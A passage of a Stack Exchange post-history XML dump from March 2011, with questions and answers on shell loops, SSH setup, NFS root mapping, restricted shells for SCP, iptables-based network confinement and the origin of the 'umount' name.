&quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;    EndSubSection  &#xD;&#xA;    SubSection &quot;Display&quot;  &#xD;&#xA;    Depth           16  &#xD;&#xA;    Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;    EndSubSection  &#xD;&#xA;    SubSection &quot;Display&quot;  &#xD;&#xA;    Depth           24  &#xD;&#xA;    Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;    EndSubSection  &#xD;&#xA;    EndSection  &#xD;&#xA;     &#xD;&#xA;    Section &quot;ServerLayout&quot;  &#xD;&#xA;    Identifier      &quot;Default Layout&quot;  &#xD;&#xA;    Screen          &quot;Default Screen&quot;  &#xD;&#xA;    InputDevice     &quot;Generic Keyboard&quot;  &#xD;&#xA;    InputDevice     &quot;Configured Mouse&quot;  &#xD;&#xA;    InputDevice     &quot;ELO touchscreen&quot; &quot;SendCoreEvents&quot;  &#xD;&#xA;    EndSection  &#xD;&#xA;    &#xD;&#xA;    Section &quot;DRI&quot;  &#xD;&#xA;    Mode    0666  &#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23490" PostHistoryTypeId="2" PostId="9830" RevisionGUID="27cfe174-91a9-4c35-a92a-2844811115c6" CreationDate="2011-03-21T20:41:16.427" UserId="5447" Text="First of all, your users should not be using passwords to log in to SSH, and should be using keys+passphrases, unless you absolutely must use passwords for some reason. For general information on how to set up SSH, I would look into specific information for setting up SSH on whatever distribution you end up choosing (most of them will have a tutorial on their site), or just google for &quot;How to set up SSH&quot;.&#xD;&#xA;&#xD;&#xA;Ubuntu Server is an excellent server distribution (which powers extremely high-traffic servers, such as those that Wikipedia runs on) and has packages for everything you'd need to do this (openssh-server, etc.) They also have very regular releases, so if you're worried about slow release cycles, this will not be a problem.&#xD;&#xA;&#xD;&#xA;As far as how names like tron.dev.sauron.com get converted to IP addresses, this is known as [domain name resolution][1]. If you are trying to set up a remote server for people to log in to, you're going to need to register a domain name and either (a) run a DNS server yourself, or (b) use a DNS service that will route it to the proper IP. (See this for more info: http://www.boutell.com/newfaq/creating/domainathome.html). The latter is likely a much better option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Domain_Name_System" />
  <row Id="23492" PostHistoryTypeId="5" PostId="9789" RevisionGUID="7e3cb721-f970-46b3-a781-b60687c68d27" CreationDate="2011-03-21T20:42:29.473" UserId="885" Comment="changed `echo` to `printf`, in case the input begins with a `-` (or contains a backslash, with some shells); changed `read` to `read -r`, in case the input contains backslashes" Text="You can use a while loop with process substitution:&#xD;&#xA;&#xD;&#xA;    while read -r line&#xD;&#xA;    do&#xD;&#xA;        echo &quot;$line&quot;&#xD;&#xA;    done &lt; &lt;(jobs)&#xD;&#xA;&#xD;&#xA;To read a multiline variable, a simple way is:&#xD;&#xA;&#xD;&#xA;    printf %s &quot;$var&quot; | while read -r line&#xD;&#xA;    do&#xD;&#xA;       echo &quot;$line&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Also, please don't call your variable `jobs` because that is a shell command and may cause confusion." />
  <row Id="23493" PostHistoryTypeId="2" PostId="9831" RevisionGUID="d61233f3-0c7b-47c2-8d7d-5cb8fa286612" CreationDate="2011-03-21T20:55:18.880" UserId="885" Text="To process the output of a command line by line:&#xD;&#xA;&#xD;&#xA;    jobs |&#xD;&#xA;    while read -r line; do&#xD;&#xA;      # process line&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you have the data in a variable already:&#xD;&#xA;&#xD;&#xA;    printf %s &quot;$foo&quot; | …&#xD;&#xA;&#xD;&#xA;`printf %s &quot;$foo&quot;` is almost identical to `echo &quot;$foo&quot;`, but prints `$foo` literally, whereas `echo &quot;$foo&quot;` might interpret `$foo` as an option to the echo command if it begins with a `-`, and might expand backslash sequences in `$foo` in some shells.&#xD;&#xA;&#xD;&#xA;Note that in some shells (ash, bash, pdksh, but not ksh or zsh), the right-hand side of a pipeline runs in a separate process, so any variable you set in the loop is lost. For example, the following line-counting script prints 0 in these shells:&#xD;&#xA;&#xD;&#xA;    n=0&#xD;&#xA;    printf %s &quot;$foo&quot; |&#xD;&#xA;    while read -r line; do&#xD;&#xA;      n=$(($n + 1))&#xD;&#xA;    done&#xD;&#xA;    echo $n&#xD;&#xA;&#xD;&#xA;A workaround is to put the remainder of the script (or at least the part that needs the value of `$n` from the loop) in a command list:&#xD;&#xA;&#xD;&#xA;    n=0&#xD;&#xA;    printf %s &quot;$foo&quot; | {&#xD;&#xA;      while read -r line; do&#xD;&#xA;        n=$(($n + 1))&#xD;&#xA;      done&#xD;&#xA;      echo $n&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If acting on the non-empty lines is good enough and the input is not huge, you can use word splitting:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;    set -f&#xD;&#xA;    for line in $(jobs); do&#xD;&#xA;      # process line&#xD;&#xA;    done&#xD;&#xA;    set +f&#xD;&#xA;    unset IFS&#xD;&#xA;&#xD;&#xA;Explanation: setting `IFS` to a single newline makes word splitting occur at newlines only (as opposed to any whitespace character under the default setting). `set -f` turns off globbing (i.e. wildcard expansion), which would otherwise happen to the result of a command substitution `$(jobs)` or a variable substitutino `$foo`. The `for` loop acts on all the pieces of `$(jobs)`, which are all the non-empty lines in the command output. Finally, restore the globbing and `IFS` settings.&#xD;&#xA;" />
  <row Id="23494" PostHistoryTypeId="5" PostId="9820" RevisionGUID="b9dbb4d4-f8bf-4a4e-877e-71b3e989c003" CreationDate="2011-03-21T20:56:31.103" UserId="4667" Comment="added 12 characters in body; deleted 5 characters in body" Text="Assumes bash and GNU find.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    mv_preserve_structure() {&#xD;&#xA;      local src_file=&quot;$1&quot;&#xD;&#xA;      local dest=&quot;$2&quot;&#xD;&#xA;      local rel_dir=&quot;$(dirname &quot;$src_file&quot;)/&quot;&#xD;&#xA;      rel_dir=&quot;${rel_dir#*/}&quot;  # returns &quot;2/3&quot; if rel_dir was &quot;src/2/3&quot;&#xD;&#xA;      mkdir -p &quot;$dest/$rel_dir&quot;&#xD;&#xA;      mv &quot;$src_file&quot; &quot;$dest/$rel_dir&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # unlike mv, this requires the destination dir as the first parameter&#xD;&#xA;    mv_dirs() {&#xD;&#xA;      local dest=&quot;$1&quot;&#xD;&#xA;      shift&#xD;&#xA;      for dir in &quot;$@&quot;; do&#xD;&#xA;        for filename in &quot;$dir&quot;/*; do&#xD;&#xA;          [[ -f &quot;$filename&quot; ]] &amp;&amp; mv_preserve_structure &quot;$filename&quot; &quot;$dest&quot;&#xD;&#xA;        done&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    mv_dirs dst src src/1 src/2/3&#xD;&#xA;" />
  <row Id="23495" PostHistoryTypeId="5" PostId="9789" RevisionGUID="ba482d5e-5d18-4103-9765-5a8edd1327fc" CreationDate="2011-03-21T20:57:15.243" UserId="885" Comment="set IFS to an empty value for the read command (thanks fred.bear, I'd forgotten about that one)" Text="You can use a while loop with process substitution:&#xD;&#xA;&#xD;&#xA;    while read -r line&#xD;&#xA;    do&#xD;&#xA;        echo &quot;$line&quot;&#xD;&#xA;    done &lt; &lt;(jobs)&#xD;&#xA;&#xD;&#xA;To read a multiline variable, a simple way is:&#xD;&#xA;&#xD;&#xA;    printf %s &quot;$var&quot; | while IFS= read -r line&#xD;&#xA;    do&#xD;&#xA;       echo &quot;$line&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Also, please don't call your variable `jobs` because that is a shell command and may cause confusion." />
  <row Id="23496" PostHistoryTypeId="5" PostId="9688" RevisionGUID="d81ce692-72ea-4e45-bad9-ae3a837741be" CreationDate="2011-03-21T21:04:08.043" UserId="885" Comment="accept only regular files" Text="On some systems, **`which -a`** shows all matches. If your shell is bash or zsh¹, you can use `type` instead: `type foo` shows the first match and &lt;code&gt;&lt;strong&gt;type -a&lt;/strong&gt; foo&lt;/code&gt; shows all matches. The three commands `type`, `which` and `whence` do mostly the same thing; they differ between shells and operating systems in availability, options, and what exactly they report. `type` is always available and shows all possible command-like names (aliases, keywords, shell built-ins, functions, and external commands).&#xD;&#xA;&#xD;&#xA;The only fully portable way to display all matches is to parse `$PATH` yourself. Here's a shell script that does this. If you make it a shell function, make sure to enclose the function body in parentheses (so that the change to `IFS` and `set -f` don't escape the function), and change `exit` to `return`.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    set -f       # disable globbing&#xD;&#xA;    IFS=:        # break words at : only&#xD;&#xA;    not_found=1&#xD;&#xA;    for d in $PATH; do&#xD;&#xA;      if [ -f &quot;$d/$x&quot; ] &amp;&amp; [ -x &quot;$d/$x&quot; ]; then&#xD;&#xA;        printf '%s\n' &quot;$d/$x&quot;&#xD;&#xA;        not_found=0&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    exit $not_found&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Or ksh 93, according to the documentation, though ksh 93s+ 2008-01-31 only prints the first match when I try.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="23497" PostHistoryTypeId="2" PostId="9832" RevisionGUID="beb11605-ec07-40e1-9c33-a6319d48da93" CreationDate="2011-03-21T21:04:45.750" UserId="4078" Text="I am wondering if there is any historical or practical reason why the `umount` command is not `unmount`." />
  <row Id="23498" PostHistoryTypeId="1" PostId="9832" RevisionGUID="beb11605-ec07-40e1-9c33-a6319d48da93" CreationDate="2011-03-21T21:04:45.750" UserId="4078" Text="Why 'umount' is written without 'n'?" />
  <row Id="23499" PostHistoryTypeId="3" PostId="9832" RevisionGUID="beb11605-ec07-40e1-9c33-a6319d48da93" CreationDate="2011-03-21T21:04:45.750" UserId="4078" Text="éhistoryàéumountà" />
  <row Id="23500" PostHistoryTypeId="2" PostId="9833" RevisionGUID="0ff27eed-1cb4-4dd4-90c9-a64a51205e63" CreationDate="2011-03-21T21:12:01.543" UserId="5944" Text="I'm interested in porting a library to Windows so that I can contribute to this library's project. This library has a Makefile.am, and I can sort of figure out how the library should be built (but I'm fairly new to the concept of makefiles). I was wondering if there is an automatic way to translate a Makefile.am into something that Visual Studio 2005 can use.&#xD;&#xA;&#xD;&#xA;What I know so far:&#xD;&#xA;&#xD;&#xA;I do see that there are directives in the library's Makefile.am for building to a Windows target (i.e `if BUILD_WINDOWS ...some stuff... endif`). &#xD;&#xA;&#xD;&#xA;I also know that there's AutoMake for Windows, which generates the Makefile.in from the .am, but I have a knowledge gap as to how this Makefile.in would then be used. (Still researching this avenue).&#xD;&#xA;&#xD;&#xA;Is my only course to convert the makefile manually into a VS2005 project? It seems like it is easier to convert from Windows to Linux, but that may be just my imagination.&#xD;&#xA;&#xD;&#xA;Thanks for all your help!" />
  <row Id="23501" PostHistoryTypeId="1" PostId="9833" RevisionGUID="0ff27eed-1cb4-4dd4-90c9-a64a51205e63" CreationDate="2011-03-21T21:12:01.543" UserId="5944" Text="Something to convert a makefile.am to project in Visual Studio (2005)" />
  <row Id="23502" PostHistoryTypeId="3" PostId="9833" RevisionGUID="0ff27eed-1cb4-4dd4-90c9-a64a51205e63" CreationDate="2011-03-21T21:12:01.543" UserId="5944" Text="éwindowsàémakeàéconversionà" />
  <row Id="23503" PostHistoryTypeId="2" PostId="9834" RevisionGUID="9824c37f-fbee-4956-8278-a71401fc58d3" CreationDate="2011-03-21T21:16:12.100" UserId="4200" Text="For the same reason the `creat` system call is  nor spelled `create` ?&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/1713457/what-did-ken-thompson-mean-when-he-said-id-spell-create-with-an-e" />
  <row Id="23504" PostHistoryTypeId="2" PostId="9835" RevisionGUID="1ac15556-64d8-4907-8f68-92d99d9c8f6a" CreationDate="2011-03-21T21:21:20.080" UserId="885" Text="This dates all the way back to the [very first edition of Unix](http://man.cat-v.org/unix-1st/1/umount), where all command. All the standard file names were only at most 6 characters long (think `passwd`), even though even this version supported a whooping [8 characters in a file name](http://man.cat-v.org/unix-1st/5/directory).&#xD;&#xA;&#xD;&#xA;A 6-character limitation might have been a holdover from an earlier development version, or inherited from a then current IBM system that did have a 6-character limitation. (Early C implementations had a 6-character limit on identifiers — longer identifiers were accepted but the compiler only looked at the first 6 characters, so `foobar1` and `foobar2` were the same variable.)&#xD;&#xA;&#xD;&#xA;(I though I remembered a `umount` man page that listed the spelling as a bug of unknown origin, but I can't find it now.)&#xD;&#xA;" />
  <row Id="23505" PostHistoryTypeId="6" PostId="9777" RevisionGUID="32e46b99-c64a-4813-bf98-780f102daa3e" CreationDate="2011-03-21T21:24:41.043" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàémulticastà" />
  <row Id="23506" PostHistoryTypeId="2" PostId="9836" RevisionGUID="279d24e5-53e7-40cf-b4aa-38f5df898b53" CreationDate="2011-03-21T21:43:43.870" UserId="5945" Text="I have just a clumsy idea, but maybe it works for you:&#xD;&#xA;enter the command `last` and check out the login informations for all of the users. then, filter th users with the permission required for `halt` that had been logged in at that moment. then check out their `.bash_history` file to see if they have entered halt or not.&#xD;&#xA;" />
  <row Id="23507" PostHistoryTypeId="2" PostId="9837" RevisionGUID="f3b4b519-db16-4f69-8292-eb2bb0b5a9e4" CreationDate="2011-03-21T22:06:02.843" UserId="4518" Text="I'm allowing a friend a local account on my machine, exclusively for SCP. Can I specify his account's shell as `/bin/true`, or in any other way limit the account, while still allowing SCP?" />
  <row Id="23508" PostHistoryTypeId="1" PostId="9837" RevisionGUID="f3b4b519-db16-4f69-8292-eb2bb0b5a9e4" CreationDate="2011-03-21T22:06:02.843" UserId="4518" Text="Do you need a shell for SCP?" />
  <row Id="23509" PostHistoryTypeId="3" PostId="9837" RevisionGUID="f3b4b519-db16-4f69-8292-eb2bb0b5a9e4" CreationDate="2011-03-21T22:06:02.843" UserId="4518" Text="éscpàéaccountörestrictionsà" />
  <row Id="23510" PostHistoryTypeId="2" PostId="9838" RevisionGUID="e4e8f8db-04ea-4955-a287-dd2b9f3655de" CreationDate="2011-03-21T22:08:53.643" UserId="1594" Text="As in the &quot;(1)&quot; in [git-svn(1)][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/software/scm/git/docs/git-svn.html" />
  <row Id="23511" PostHistoryTypeId="1" PostId="9838" RevisionGUID="e4e8f8db-04ea-4955-a287-dd2b9f3655de" CreationDate="2011-03-21T22:08:53.643" UserId="1594" Text="What is the meaning of the number part of man pages?" />
  <row Id="23512" PostHistoryTypeId="3" PostId="9838" RevisionGUID="e4e8f8db-04ea-4955-a287-dd2b9f3655de" CreationDate="2011-03-21T22:08:53.643" UserId="1594" Text="émanà" />
  <row Id="23513" PostHistoryTypeId="2" PostId="9839" RevisionGUID="1e1298c6-6b5a-4111-888b-6744575bcb50" CreationDate="2011-03-21T22:10:24.873" UserId="885" Text="You can set that user's shell to [`rssh`](http://www.pizzashack.org/rssh/), which is designed precisely for that purpose:&#xD;&#xA;&#xD;&#xA;&gt; rssh is a restricted shell for use with OpenSSH, allowing only scp and/or sftp. It now also includes support for rdist, rsync, and cvs.&#xD;&#xA;" />
  <row Id="23514" PostHistoryTypeId="6" PostId="9837" RevisionGUID="0c7c7be5-33ea-403f-929d-a036106405d1" CreationDate="2011-03-21T22:10:43.420" UserId="885" Comment="edited tags" Text="éloginàéscpàéaccountörestrictionsà" />
  <row Id="23515" PostHistoryTypeId="2" PostId="9840" RevisionGUID="af0f0a3f-4a9f-42cc-bee4-31b2e8619d5b" CreationDate="2011-03-21T22:11:04.710" UserId="298" Text="On my NFS server, I have the following export defined:&#xD;&#xA;&#xD;&#xA;    #NFS exports Database&#xD;&#xA;    /shared -alldirs -network=192.168.1 -mask=255.255.255.0&#xD;&#xA;&#xD;&#xA;On my NFS client:&#xD;&#xA;&#xD;&#xA;    192.168.1.7:/shared /shared nfs rw 0 0&#xD;&#xA;&#xD;&#xA;Obviously, as root on the server, I can do whatever I want.  On the client however, my regular user 'gabe' can make changes to the nfs mount (assuming I have permissions to), but root cannot.  &#xD;&#xA;&#xD;&#xA;As my regular user: &#xD;&#xA;    &#xD;&#xA;    gabe@client$ cd /shared&#xD;&#xA;    gabe@client$ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    drwxrwxrwx  4 gabe  wheel   512 Mar 20 19:20 tmp&#xD;&#xA;    gabe@client$ cd tmp&#xD;&#xA;    gabe@client$ touch test.txt&#xD;&#xA;    gabe@client$ rm test.txt&#xD;&#xA;&#xD;&#xA;As root:&#xD;&#xA;&#xD;&#xA;    # cd /shared/tmp&#xD;&#xA;    # touch test.txt&#xD;&#xA;    touch: test.txt: Permission denied&#xD;&#xA;&#xD;&#xA;Again, this is all on the NFS *client* side of things, and I suspect perhaps it has something to do with the -maproot option, but I'm too much of an NFS noob to understand exactly what.  This is the first time I'm setting up NFS and I just noticed this peculiarity.  I'm going to do some reading now, to see if I can figure this out, buy if anyone has any insight, I would appreciate it.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="23516" PostHistoryTypeId="1" PostId="9840" RevisionGUID="af0f0a3f-4a9f-42cc-bee4-31b2e8619d5b" CreationDate="2011-03-21T22:11:04.710" UserId="298" Text="Why can't root on one machine change nfs mounted content from another machine?" />
  <row Id="23517" PostHistoryTypeId="3" PostId="9840" RevisionGUID="af0f0a3f-4a9f-42cc-bee4-31b2e8619d5b" CreationDate="2011-03-21T22:11:04.710" UserId="298" Text="épermissionsàénfsà" />
  <row Id="23518" PostHistoryTypeId="2" PostId="9841" RevisionGUID="99a5d714-91b5-4f5b-99fe-65997d8a80c0" CreationDate="2011-03-21T22:13:20.750" UserId="5325" Text="Manpages are arranged into sections:&#xD;&#xA;&#xD;&#xA;1. General user commands&#xD;&#xA;2. System calls&#xD;&#xA;3. Standard library functions&#xD;&#xA;4. Special files&#xD;&#xA;5. File formats&#xD;&#xA;6. Games&#xD;&#xA;7. Conventions and operations&#xD;&#xA;8. System administration commands&#xD;&#xA;9. Kernel interfaces&#xD;&#xA;&#xD;&#xA;(These have changed around a bit over the years, and on some systems you may in particular notice sections 4 and 5 swapped.)  There may also be subsections, especially on System V-derived systems (`3x`, `3curses`, etc.)&#xD;&#xA;&#xD;&#xA;Some systems also have sections like `l` (local) and `n` (new).  Tcl/Tk manpages in particular like to install in section `n`, since many of them conflict with standard commands and functions." />
  <row Id="23519" PostHistoryTypeId="5" PostId="9838" RevisionGUID="10d958b5-7df1-41dc-b0df-b745eae00c1c" CreationDate="2011-03-21T22:23:37.850" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What do the numbers in a man page mean?](http://unix.stackexchange.com/questions/3586/what-do-the-numbers-in-a-man-page-mean)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;As in the &quot;(1)&quot; in [git-svn(1)][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/software/scm/git/docs/git-svn.html" />
  <row Id="23520" PostHistoryTypeId="10" PostId="9838" RevisionGUID="820ab0e5-e326-4953-b426-6f6847a15ea5" CreationDate="2011-03-21T22:23:37.757" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="23521" PostHistoryTypeId="2" PostId="9842" RevisionGUID="5f06f0be-aae9-4437-a225-7f229c1c04b5" CreationDate="2011-03-21T22:28:38.360" UserId="2421" Text="NFS was designed with the idea that user and group ids would be the same on all machines across the network.  For ordinary users, that works ok.  But root's UID is always 0, and just because you have root on one box, it doesn't mean that you should have root access to every machine on the network.&#xD;&#xA;&#xD;&#xA;Therefore, NFS treats root specially, and makes it read-only by default.  The `-maproot` option allows you to change how root is handled." />
  <row Id="23522" PostHistoryTypeId="2" PostId="9843" RevisionGUID="0afd5b4b-7f61-4e64-ad69-2ac604f535b2" CreationDate="2011-03-21T22:31:50.400" UserId="885" Text="That's common behavior with traditional NFS implementations. NFS user mappings are performed irrespective of context, so all accesses by the client root have to be mapped to a particular user (usually `nobody` by default). Hence this weird behavior, where the client root can't access your files directly, but can `su gabe` to access them.&#xD;&#xA;&#xD;&#xA;(“Recent” versions of NFS, i.e. NFSv4 and perhaps NFSv3, allow saner behavior if supported on both sides, but I don't know the details.)&#xD;&#xA;" />
  <row Id="23523" PostHistoryTypeId="5" PostId="9842" RevisionGUID="19d4eb22-9490-4128-acb6-2f4ec5139e8e" CreationDate="2011-03-21T22:36:14.013" UserId="2421" Comment="added 122 characters in body" Text="NFS was designed with the idea that user and group ids would be the same on all machines across the network.  For ordinary users, that works ok.  But root's UID is always 0, and just because you have root on one box, it doesn't mean that you should have root access to every machine on the network.&#xD;&#xA;&#xD;&#xA;Therefore, NFS treats root specially.  By default, root is mapped to the `nobody` user, which normally has no write access.  The `-maproot` option allows you to change how root is handled.  BSD's `-maproot=root` corresponds to Linux's `no_root_squash` option." />
  <row Id="23524" PostHistoryTypeId="2" PostId="9844" RevisionGUID="4a420de2-8230-4737-a0b9-626d8950678f" CreationDate="2011-03-21T22:42:20.167" UserId="885" Text="You could run your code in a virtual machine (User Mode Linux, VServer, OpenVZ, VirtualBox, VMWare, KVM, …) that you provide with only a host-only network interface (i.e. no routing from the VM to anywhere but the host machine).&#xD;&#xA;&#xD;&#xA;If you run the application as a dedicated user `appuser`, you can restrict that user's network access. Make sure you have [`iptables`](http://www.netfilter.org/projects/iptables/index.html) (Ubuntu: [iptables](http://packages.ubuntu.com/iptables) [![Install iptables](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iptables)) and [iproute2 (`ip` command)](http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2) (Ubuntu: [iproute](http://packages.ubuntu.com/iproute) [![Install iproute](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute), [iproute-doc](http://packages.ubuntu.com/iproute-doc) [![Install iproute-doc](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute-doc)) installed. Then you can use `iptables` to mark outgoing traffic from processes running as `appuser`, and `ip rule` and `ip route` to set up an alternate routing table for that user.&#xD;&#xA;&#xD;&#xA;    ip rule add fwmark 1 table 1&#xD;&#xA;    ip route add 127.0.0.0/0 table 1 dev lo&#xD;&#xA;    iptables -t mangle -A OUTPUT -m owner --uid-owner appuser -j MARK --set-mark 1&#xD;&#xA;&#xD;&#xA;(Note: untested. See also [more Linux IP packet mangling examples](http://unix.stackexchange.com/questions/4242/dual-network-connection/4243#4243).)" />
  <row Id="23525" PostHistoryTypeId="5" PostId="9835" RevisionGUID="130e4d28-9fdc-44e6-a0e0-3cee9b5e102e" CreationDate="2011-03-21T22:50:03.090" UserId="885" Comment="mention the source file, following geekosaur's suggestion" Text="This dates all the way back to the [very first edition of Unix](http://man.cat-v.org/unix-1st/1/umount), where all command. All the standard file names were only at most 6 characters long (think `passwd`), even though even this version supported a whooping [8 characters in a file name](http://man.cat-v.org/unix-1st/5/directory). Most commands had an associated source file ending in `.c` (e.g. `umount.c`), which left only 6 characters for the base name.&#xD;&#xA;&#xD;&#xA;A 6-character limitation might also have been a holdover from an earlier development version, or inherited from a then current IBM system that did have a 6-character limitation. (Early C implementations had a 6-character limit on identifiers — longer identifiers were accepted but the compiler only looked at the first 6 characters, so `foobar1` and `foobar2` were the same variable.)&#xD;&#xA;&#xD;&#xA;(I though I remembered a `umount` man page that listed the spelling as a bug of unknown origin, but I can't find it now.)&#xD;&#xA;" />
  <row Id="23526" PostHistoryTypeId="5" PostId="9840" RevisionGUID="352b4072-b3cf-4542-967d-6bab328e26c1" CreationDate="2011-03-21T23:24:57.160" UserId="298" Comment="edited body" Text="On my NFS server, I have the following export defined:&#xD;&#xA;&#xD;&#xA;    #NFS exports Database&#xD;&#xA;    /shared -alldirs -network=192.168.1 -mask=255.255.255.0&#xD;&#xA;&#xD;&#xA;On my NFS client:&#xD;&#xA;&#xD;&#xA;    192.168.1.7:/shared /shared nfs rw 0 0&#xD;&#xA;&#xD;&#xA;Obviously, as root on the server, I can do whatever I want.  On the client however, my regular user 'gabe' can make changes to the nfs mount (assuming I have permissions to), but root cannot.  &#xD;&#xA;&#xD;&#xA;As my regular user: &#xD;&#xA;    &#xD;&#xA;    gabe@client$ cd /shared&#xD;&#xA;    gabe@client$ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    drwxrwxrwx  4 gabe  wheel   512 Mar 20 19:20 tmp&#xD;&#xA;    gabe@client$ cd tmp&#xD;&#xA;    gabe@client$ touch test.txt&#xD;&#xA;    gabe@client$ rm test.txt&#xD;&#xA;&#xD;&#xA;As root:&#xD;&#xA;&#xD;&#xA;    # cd /shared/tmp&#xD;&#xA;    # touch test.txt&#xD;&#xA;    touch: test.txt: Permission denied&#xD;&#xA;&#xD;&#xA;Again, this is all on the NFS *client* side of things, and I suspect perhaps it has something to do with the -maproot option, but I'm too much of an NFS noob to understand exactly what.  This is the first time I'm setting up NFS and I just noticed this peculiarity.  I'm going to do some reading now, to see if I can figure this out, but if anyone has any insight, I would appreciate it.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="23527" PostHistoryTypeId="25" PostId="9837" RevisionGUID="7a4e1414-f47e-484f-b8cf-fb747647cc85" CreationDate="2011-03-21T23:31:28.947" Comment="http://twitter.com/#!/StackUnix/status/49976449666523136" />
  <row Id="23528" PostHistoryTypeId="2" PostId="9845" RevisionGUID="515cf3db-d2f4-4fc7-8773-0ea287807358" CreationDate="2011-03-21T23:36:04.763" UserId="5946" Text="You should optimize the filestructure. So instead of&#xD;&#xA;&#xD;&#xA;    for i in $(seq 1 1000); do touch file.$i; done&#xD;&#xA;&#xD;&#xA;do something smarter like (bash assumed):&#xD;&#xA;&#xD;&#xA;    function bucklocate() &#xD;&#xA;    { &#xD;&#xA;        hash=$(echo -n &quot;$1&quot;|md5sum|cut -f1); &#xD;&#xA;        echo -n &quot;${hash:1:1}/${hash:7:1}/${hash:9:2}/$1&quot;; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    hexdig=&quot;{0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}&quot;&#xD;&#xA;    eval mkdir -p $hexdig/$hexdig/$hexdig$hexdig&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for i in $(seq 1 1000); do touch $(bucklocate file.$i); done&#xD;&#xA;&#xD;&#xA;Now this example is rather slow because of the use of md5sum[1], use something like the following for much faster response, as long as you don't need any particular filenames, duplicates are of no concern and there is no need for a repeatable hash of a certain name :)&#xD;&#xA;&#xD;&#xA;    mkdir -pv {0,1,2,3,4,5,6}/{0,1,2,3,4,5,6,7,8,9,10,12}&#xD;&#xA;    for  a in $(seq 1 100); do i=$RANDOM; echo touch &quot;$(($i%7))/$(($i%13))/file.$i&quot;; done&#xD;&#xA;&#xD;&#xA;Of course this is all sloppily borrowing concepts from hashtables&#xD;&#xA;" />
  <row Id="23529" PostHistoryTypeId="2" PostId="9846" RevisionGUID="968812e2-9cd7-47ac-b4d3-02d42fb23835" CreationDate="2011-03-21T23:47:38.223" UserId="5946" Text="In recent bash versions, use `mapfile` or `readarray` to efficiently read command output into arrays&#xD;&#xA;&#xD;&#xA;    $ readarray test &lt; &lt;(ls -ltrR)&#xD;&#xA;    $ echo ${#test[@]}&#xD;&#xA;    6305&#xD;&#xA;&#xD;&#xA;Disclaimer: horrible example, but you can prolly come up with a better command to use than ls yourself" />
  <row Id="23530" PostHistoryTypeId="6" PostId="9123" RevisionGUID="f01aa229-c107-4568-b84f-fe9511608323" CreationDate="2011-03-21T23:51:13.203" UserId="885" Comment="edited tags" Text="ébashàéshellàécommandölineà" />
  <row Id="23531" PostHistoryTypeId="6" PostId="6781" RevisionGUID="1609baa4-5ae7-4276-8ed2-48d27a5ac484" CreationDate="2011-03-21T23:51:36.790" UserId="885" Comment="edited tags" Text="écommandölineàéfilenamesàérmà" />
  <row Id="23532" PostHistoryTypeId="6" PostId="8299" RevisionGUID="c416b96b-bb46-4fc4-93df-6d124c72974c" CreationDate="2011-03-21T23:52:10.267" UserId="885" Comment="edited tags" Text="émanàéterminologyà" />
  <row Id="23533" PostHistoryTypeId="6" PostId="3284" RevisionGUID="0db601e7-b685-4f8a-850c-0efc2867687f" CreationDate="2011-03-21T23:53:00.533" UserId="885" Comment="edited tags" Text="ébashàéshellàécdà" />
  <row Id="23534" PostHistoryTypeId="2" PostId="9847" RevisionGUID="1a4b352e-d721-4487-a07d-0a2d242663ad" CreationDate="2011-03-21T23:53:15.090" UserId="2793" Text="One of the most easy/efficient way to control what a user can do is [lshell][1].&#xD;&#xA;&#xD;&#xA;&gt; lshell is a shell coded in Python, that lets you restrict a user's environment to limited sets of commands, choose to enable/disable any command over SSH (e.g. SCP, SFTP, rsync, etc.), log user's commands, implement timing restriction, and more. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lshell.ghantoos.org/" />
  <row Id="23535" PostHistoryTypeId="6" PostId="4262" RevisionGUID="0f4bfc63-caf1-42cc-9ea1-0149721b4d65" CreationDate="2011-03-21T23:54:49.827" UserId="885" Comment="edited tags" Text="ébashàécommandölineàéaliasàécdà" />
